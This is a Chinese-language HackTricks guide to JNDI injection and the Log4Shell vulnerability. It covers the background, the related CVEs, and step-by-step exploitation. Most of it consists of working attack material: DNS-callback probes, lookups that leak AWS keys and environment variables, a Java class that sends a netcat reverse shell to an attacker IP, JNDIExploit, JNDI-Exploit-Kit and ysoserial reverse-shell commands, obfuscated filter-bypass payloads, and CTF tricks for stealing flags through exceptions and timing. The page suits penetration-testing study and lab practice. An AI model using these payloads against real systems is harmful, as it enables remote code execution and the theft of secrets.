JNDI - Java Naming and Directory Interface & Log4Shell

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！

支持HackTricks的其他方式：

如果您想在HackTricks中看到您的公司广告或下载PDF版HackTricks，请查看订阅计划!
获取官方PEASS & HackTricks周边产品
探索PEASS家族，我们的独家NFTs收藏
加入 💬 Discord群 或 电报群 或关注我们的Twitter 🐦 @carlospolopm。
通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。

Try Hard Security Group

Join the Try Hard Security Discord Server!Discord

基本信息

自上世纪90年代末集成到Java中的JNDI作为目录服务，使Java程序能够通过命名系统定位数据或对象。它通过服务提供者接口（SPIs）支持各种目录服务，允许从不同系统（包括远程Java对象）检索数据。常见的SPI包括CORBA COS、Java RMI注册表和LDAP。

JNDI命名引用

Java对象可以使用JNDI命名引用存储和检索，有两种形式：

引用地址：指定对象的位置（例如，rmi://server/ref），允许直接从指定地址检索。
远程工厂：引用远程工厂类。访问时，该类将从远程位置下载并实例化。

然而，这种机制可能会被利用，潜在地导致加载和执行任意代码。作为对策：

RMI：从JDK 7u21起，默认为java.rmi.server.useCodeabseOnly = true，限制远程对象加载。安全管理器进一步限制可加载的内容。
LDAP：从JDK 6u141、7u131、8u121起，默认为com.sun.jndi.ldap.object.trustURLCodebase = false，阻止执行远程加载的Java对象。如果设置为true，则可能在没有安全管理器监督的情况下执行远程代码。
CORBA：没有特定属性，但安全管理器始终处于活动状态。

然而，负责解析JNDI链接的命名管理器缺乏内置安全机制，可能允许从任何来源检索对象。这会带来风险，因为可以绕过RMI、LDAP和CORBA的保护，导致加载任意Java对象或利用现有应用程序组件（小工具）运行恶意代码。

可利用的URL示例包括：

rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar

尽管有保护措施，漏洞仍然存在，主要是由于缺乏对从不受信任来源加载JNDI的保护以及绕过现有保护的可能性。

JNDI示例

即使您已设置了**PROVIDER_URL**，您也可以在查找中指定不同的URL并进行访问：ctx.lookup("<attacker-controlled-url>")，这就是攻击者将滥用以从由他控制的系统加载任意对象的方法。

CORBA概述

CORBA（公共对象请求代理体系结构）使用**可互操作对象引用（IOR）**来唯一标识远程对象。此引用包括关键信息，如：

类型ID：接口的唯一标识符。
代码库：用于获取存根类的URL。

值得注意的是，CORBA本身并不易受攻击。确保安全通常涉及：

安装安全管理器。
配置安全管理器以允许连接到潜在恶意代码库。可以通过以下方式实现：
Socket权限，例如，permissions java.net.SocketPermission "*:1098-1099", "connect";。
文件读取权限，可以是全局的（permission java.io.FilePermission "<<ALL FILES>>", "read";）或针对可能放置恶意文件的特定目录。

然而，一些供应商政策可能宽松，允许默认情况下进行这些连接。

RMI上下文

对于RMI（远程方法调用），情况略有不同。与CORBA一样，默认情况下限制了任意类的下载。要利用RMI，通常需要绕过安全管理器，这也适用于CORBA。

LDAP

首先，我们需要区分搜索和查找。搜索将使用类似ldap://localhost:389/o=JNDITutorial的URL来查找LDAP服务器中的JNDITutorial对象并检索其属性。查找用于命名服务，因为我们想要获取绑定到名称的任何内容。

如果LDAP搜索使用了SearchControls.setReturningObjFlag()并设置为true，则返回的对象将被重建。

因此，有几种攻击这些选项的方法。 攻击者可以在LDAP记录中植入有效负载，这些有效负载将在收集它们的系统中执行（如果您可以访问LDAP服务器，则非常有用，可以危害数十台机器）。利用这一点的另一种方法是在LDAP搜索中执行中间人攻击，例如。

如果您可以让应用程序解析JNDI LDAP URL，则可以控制将被搜索的LDAP，并且可以发送回利用（log4shell）。

反序列化利用

利用被序列化并将被反序列化。如果trustURLCodebase为true，则攻击者可以在代码库中提供自己的类；否则，他将需要在类路径中滥用小工具。

JNDI引用利用

更容易攻击此LDAP使用JavaFactory引用：

Log4Shell漏洞

该漏洞是由于Log4j支持一种特殊语法，形式为${prefix:name}，其中prefix是多种不同查找之一，name应该被评估。例如，${java:version}是当前运行的Java版本。

LOG4J2-313引入了jndi查找功能。此功能通过JNDI检索变量。通常，密钥会自动添加前缀java:comp/env/。但是，如果密钥本身包含**“:”**，则不会应用此默认前缀。

如果密钥中有**“:”**，例如${jndi:ldap://example.com/a}，则没有前缀，LDAP服务器将查询对象。这些查找可以用于Log4j的配置以及记录行时。

因此，要获得RCE，只需有一个受用户控制的信息的易受攻击版本的Log4j。由于这是Java应用程序广泛使用的库来记录信息（包括面向互联网的应用程序），例如记录HTTP头部接收的内容，非常常见。但是，log4j不仅用于记录HTTP信息，还用于记录任何输入和开发人员指定的数据。

Log4Shell相关CVE概述

CVE-2021-44228 [关键]

这个漏洞是log4j-core组件中的一个关键的未受信任的反序列化漏洞，影响版本从2.0-beta9到2.14.1。它允许远程代码执行（RCE），使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告，并影响各种Apache框架。版本2.15.0中的初始修复是不完整的。有用于防御的Sigma规则可用（规则1，规则2）。

CVE-2021-45046 [关键]

最初评级较低，但后来升级为关键，这个CVE是由于2.15.0中对CVE-2021-44228的修复不完整导致的**拒绝服务（DoS）**漏洞。它影响非默认配置，允许攻击者通过精心制作的载荷发起DoS攻击。一条tweet展示了一种绕过方法。该问题在版本2.16.0和2.12.2中得到解决，方法是删除消息查找模式并默认禁用JNDI。

CVE-2021-4104 [高]

影响非默认配置中使用JMSAppender的Log4j 1.x版本，这个CVE是一个未受信任的反序列化漏洞。1.x分支没有可用的修复，该分支已经终止生命周期，建议升级到log4j-core 2.17.0。

CVE-2021-42550 [中等]

这个漏洞影响Logback日志框架，这是Log4j 1.x的后继者。此前认为是安全的框架被发现存在漏洞，已发布新版本（1.3.0-alpha11和1.2.9）来解决这个问题。

CVE-2021-45105 [高]

Log4j 2.16.0存在一个DoS漏洞，促使发布log4j 2.17.0来修复这个CVE。更多详细信息请参阅BleepingComputer的报告。

CVE-2021-44832

影响log4j版本2.17，这个CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多详细信息请参阅Checkmarx博客文章。

Log4Shell利用

发现

如果没有受保护，这个漏洞很容易被发现，因为它会向您在有效载荷中指定的地址发送至少一个DNS请求。因此，像以下这样的有效载荷：

${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}（使用canarytokens.com）
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}（使用interactsh）
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}（使用Burp Suite）
${jndi:ldap://2j4ayo.dnslog.cn}（使用dnslog）
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}（使用huntress）

请注意，即使收到DNS请求也不意味着应用程序是可利用的（甚至是有漏洞的），您需要尝试利用它。

请记住，要利用版本2.15，您需要添加本地主机检查绕过：${jndi:ldap://127.0.0.1#...}

本地发现

搜索本地易受攻击版本的库：

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

验证

之前列出的一些平台将允许您插入一些变量数据，当请求时将被记录。这对于两件事情非常有用：

验证漏洞
滥用漏洞窃取信息

例如，您可以请求类似于：或者像${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}，如果收到具有环境变量值的DNS请求，则知道应用程序存在漏洞。

您可以尝试泄露的其他信息：

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE 信息

在运行在 JDK 版本高于 6u141、7u131 或 8u121 的主机上，已经针对 LDAP 类加载攻击向量进行了保护。这是因为默认情况下禁用了 com.sun.jndi.ldap.object.trustURLCodebase，阻止了 JNDI 通过 LDAP 加载远程代码库。然而，需要注意的是这些版本仍然无法防御反序列化攻击向量。

对于试图利用这些较高 JDK 版本的攻击者，有必要利用 Java 应用程序中的受信任小工具。诸如 ysoserial 或 JNDIExploit 的工具经常用于此目的。相反，利用较低 JDK 版本相对更容易，因为这些版本可以被操纵以加载和执行任意类。

要了解更多信息（如 RMI 和 CORBA 向量的限制），请查看前面的 JNDI 命名参考部分或https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - 使用自定义有效载荷的 Marshalsec

您可以在 THM box 中测试这个：https://tryhackme.com/room/solar

使用工具 marshalsec（jar 版本可在这里找到）。这种方法建立了一个 LDAP 引荐服务器，将连接重定向到一个次要的 HTTP 服务器，其中将托管利用程序：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

要求目标加载反向shell代码，制作一个名为Exploit.java的Java文件，内容如下：

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

编译Java文件为一个类文件，使用: javac Exploit.java -source 8 -target 8。接下来，在包含类文件的目录中启动一个HTTP服务器，使用: python3 -m http.server。确保marshalsec LDAP服务器引用了这个HTTP服务器。

通过发送一个类似以下内容的有效负载，触发在易受攻击的Web服务器上执行Exploit类的操作：

${jndi:ldap://<LDAP_IP>:1389/Exploit}

注意： 此漏洞依赖于Java的配置，允许通过LDAP加载远程代码库。如果不允许此操作，请考虑利用受信任的类执行任意代码。

RCE - JNDIExploit

请注意，由于发现了log4shell，作者出于某种原因从github中删除了此项目。您可以在https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2中找到缓存版本，但如果您希望尊重作者的决定，请使用其他方法来利用此漏洞。

此外，您无法在wayback machine中找到源代码，因此要么分析源代码，要么执行jar文件，知道您不知道自己在执行什么。

例如，您可以在端口8080上运行此易受log4shell影响的脆弱Web服务器：https://github.com/christophetd/log4shell-vulnerable-app（在自述文件中，您将找到如何运行它的说明）。此易受攻击的应用程序正在使用易受攻击版本的log4shell记录HTTP请求标头_X-Api-Version_的内容。

然后，您可以下载JNDIExploit jar文件并执行以下操作：

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

在阅读代码仅几分钟后，在_com.feihong.ldap.LdapServer_和_com.feihong.ldap.HTTPServer_中，您可以看到LDAP和HTTP服务器是如何创建的。LDAP服务器将了解需要提供的有效负载，并将受害者重定向到HTTP服务器，后者将提供利用。在_com.feihong.ldap.gadgets_中，您可以找到一些特定的小工具，可用于执行所需的操作（可能执行任意代码）。在_com.feihong.ldap.template_中，您可以看到将生成利用的不同模板类。

您可以使用**java -jar JNDIExploit-1.2-SNAPSHOT.jar -u**查看所有可用的利用。一些有用的利用包括：

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

因此，在我们的示例中，我们已经运行了那个存在漏洞的 Docker 应用程序。要对其发动攻击：

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

RCE - JNDI-Exploit-Kit

与先前的利用方式类似，您可以尝试使用JNDI-Exploit-Kit来利用这个漏洞。您可以生成要发送给受害者的URL，方法如下：

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

这种利用自定义生成的Java对象的攻击在类似THM太阳房间的实验室中可以生效。然而，通常情况下不会生效（因为默认情况下Java未配置为使用LDAP加载远程代码库），我认为这是因为它没有滥用受信任的类来执行任意代码。

RCE - JNDI注入利用增强版

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus 是另一个用于生成可用的JNDI链接并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务的工具。\

RCE - ysoserial 和 JNDI利用工具包

这个选项对于攻击仅信任指定类而不是所有人的Java版本非常有用。因此，ysoserial 将被用来生成受信任类的序列化，这些序列化可以被用作小工具来执行任意代码（ysoserial滥用的受信任类必须被受害者Java程序使用，以使利用生效）。

使用ysoserial 或 ysoserial-modified 您可以创建反序列化利用，该利用将被JNDI下载：

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

使用JNDI-Exploit-Kit生成JNDI链接，在那里漏洞将等待来自受影响机器的连接。您可以提供不同的漏洞利用，这些漏洞利用可以由JNDI-Exploit-Kit自动生成，也可以使用您自己的反序列化有效负载（由您或ysoserial生成）。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

现在，您可以轻松使用生成的JNDI链接来利用漏洞并获取反向 shell，只需发送到一个有漏洞的 log4j 版本：${ldap://10.10.14.10:1389/generated}

绕过方式

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

自动扫描器

用于测试的实验室

Log4Shell 漏洞利用后

在这个CTF writeup中很好地解释了如何滥用Log4J的一些功能。

Log4j的安全页面中有一些有趣的句子：

从版本2.16.0（适用于Java 8）开始，消息查找功能已完全移除。配置中的查找仍然有效。此外，Log4j现在默认禁用对JNDI的访问。现在需要显式启用配置中的JNDI查找。

从版本2.17.0开始（对于Java 7和Java 6分别为2.12.3和2.3.1），仅在配置中扩展查找字符串；在任何其他用途中，仅解析顶级查找，并且不解析任何嵌套查找。

这意味着默认情况下您可以忘记使用任何jndi漏洞。此外，要执行递归查找，您需要配置它们。

例如，在该CTF中，这在文件log4j2.xml中配置如下：

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

环境查找

在这个CTF中，攻击者控制了${sys:cmd}的值，并需要从环境变量中窃取标志。如在先前的有效载荷页面中所见，有不同的访问环境变量的方式，比如：${env:FLAG}。在这个CTF中这是无用的，但在其他现实场景中可能会有用。

异常中的数据窃取

在CTF中，你无法访问使用log4J的java应用程序的stderr，但Log4J异常会发送到stdout，这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是：${java:${env:FLAG}}。这能够工作是因为**${java:CTF{blahblah}}**不存在，异常将显示标志的值：

转换模式异常

只是提一下，你也可以注入新的转换模式并触发将被记录到stdout的异常。例如：

这并没有被发现有用于在错误消息中窃取日期，因为查找在转换模式之前没有解决，但它可能对其他事情有用，比如检测。

转换模式正则表达式

然而，可以使用一些支持正则表达式的转换模式来通过使用正则表达式和滥用二分查找或基于时间的行为来从查找中窃取信息。

通过异常消息进行二分查找

转换模式**%replace可以用于替换字符串中的内容**，甚至使用正则表达式。它的工作方式如下：replace{pattern}{regex}{substitution} 滥用这种行为，你可以使替换如果正则表达式匹配字符串中的任何内容则触发异常（如果未找到则不会有异常），就像这样：

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception

基于时间的攻击

正如前一节中提到的，%replace 支持 正则表达式。因此，可以使用来自ReDoS页面的有效载荷来引发超时，以便在找到标志时触发超时。例如，像 %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} 这样的有效载荷将在那个CTF比赛中触发超时。

在这个writeup中，它没有使用 ReDoS 攻击，而是使用了放大攻击来导致响应中的时间差异：

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
如果标志以 flagGuess 开头，整个标志将被替换为 29 个 #（我使用这个字符是因为它可能不是标志的一部分）。然后，每个生成的 29 个 # 将被替换为 54 个 #。这个过程重复进行 6 次，总共产生了 29*54*54^6* =`` ``96816014208 个 #！
替换这么多 # 将触发 Flask 应用程序的 10 秒超时，进而导致向用户发送 HTTP 状态码 500。（如果标志不以 flagGuess 开头，我们将收到非 500 状态码）